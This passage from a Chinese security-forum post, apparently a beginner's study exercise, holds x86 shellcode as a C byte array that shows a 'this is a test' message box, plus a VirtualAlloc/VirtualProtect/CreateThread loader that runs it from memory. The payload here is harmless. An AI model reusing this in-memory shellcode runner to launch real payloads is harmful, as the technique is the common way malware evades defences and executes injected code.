    0xFC, 0x33, 0xF6, 0x8B, 0x47, 0x3C, 0x8B, 0x44,
    0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B,
    0x50, 0x24, 0x03, 0xCF, 0x8B, 0x58, 0x18, 0x03,
    0xD7, 0x89, 0x4D, 0xF0, 0x8B, 0x48, 0x20, 0x03,
    0xCF, 0x89, 0x55, 0xF4, 0x89, 0x4D, 0xF8, 0x85,
    0xDB, 0x74, 0x41, 0x8B, 0x14, 0xB1, 0x33, 0xC0,
    0x8A, 0x0C, 0x3A, 0x03, 0xD7, 0x84, 0xC9, 0x74,
    0x18, 0xC1, 0xC8, 0x07, 0x8D, 0x52, 0x01, 0x0F,
    0xBE, 0xC9, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9,
    0x75, 0xEF, 0x3D, 0x85, 0xDF, 0xAF, 0xBB, 0x74,
    0x0A, 0x46, 0x3B, 0xF3, 0x73, 0x16, 0x8B, 0x4D,
    0xF8, 0xEB, 0xD0, 0x8B, 0x45, 0xF4, 0x8B, 0x5D,
    0xF0, 0x0F, 0xB7, 0x04, 0x70, 0x8B, 0x1C, 0x83,
    0x03, 0xDF, 0xEB, 0x02, 0x33, 0xDB, 0x8D, 0x45,
    0xB4, 0xC7, 0x45, 0xB4, 0x4C, 0x6F, 0x61, 0x64,
    0x50, 0x57, 0xC7, 0x45, 0xB8, 0x4C, 0x69, 0x62,
    0x72, 0xC7, 0x45, 0xBC, 0x61, 0x72, 0x79, 0x45,
    0x66, 0xC7, 0x45, 0xC0, 0x78, 0x41, 0xC6, 0x45,
    0xC2, 0x00, 0xC7, 0x45, 0xDC, 0x75, 0x73, 0x65,
    0x72, 0xC7, 0x45, 0xE0, 0x33, 0x32, 0x2E, 0x64,
    0x66, 0xC7, 0x45, 0xE4, 0x6C, 0x6C, 0xC6, 0x45,
    0xE6, 0x00, 0xC7, 0x45, 0xC4, 0x4D, 0x65, 0x73,
    0x73, 0xC7, 0x45, 0xC8, 0x61, 0x67, 0x65, 0x42,
    0xC7, 0x45, 0xCC, 0x6F, 0x78, 0x41, 0x00, 0xC7,
    0x45, 0xD0, 0x45, 0x78, 0x69, 0x74, 0xC7, 0x45,
    0xD4, 0x50, 0x72, 0x6F, 0x63, 0xC7, 0x45, 0xD8,
    0x65, 0x73, 0x73, 0x00, 0xFF, 0xD3, 0x8B, 0xF0,
    0x8D, 0x45, 0xD0, 0x50, 0xFF, 0x75, 0xFC, 0xFF,
    0xD3, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0x50, 0x6A,
    0x00, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0xFF,
    0xD6, 0x50, 0xFF, 0xD3, 0x6A, 0x00, 0x8D, 0x4D,
    0xE8, 0xC7, 0x45, 0xA4, 0x74, 0x68, 0x69, 0x73,
    0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x20,
    0x69, 0x73, 0x20, 0x51, 0x6A, 0x00, 0xC7, 0x45,
    0xAC, 0x61, 0x20, 0x74, 0x65, 0x66, 0xC7, 0x45,
    0xB0, 0x73, 0x74, 0xC6, 0x45, 0xB2, 0x00, 0xC7,
    0x45, 0xE8, 0x74, 0x65, 0x73, 0x74, 0xC6, 0x45,
    0xEC, 0x00, 0xFF, 0xD0, 0x6A, 0x00, 0xFF, 0xD7,
    0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3
};

void main()
{
    void* exec;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    unsigned int payload_len =351;
    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(exec, hexData, payload_len);
    rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
    WaitForSingleObject(th, -1);
}

成功运行,如下所示


后话
漏洞研究小白,目前正在跟着书学习。希望自己能持之以恒。大家一起共勉

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 16:39 , Processed in 0.019281 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表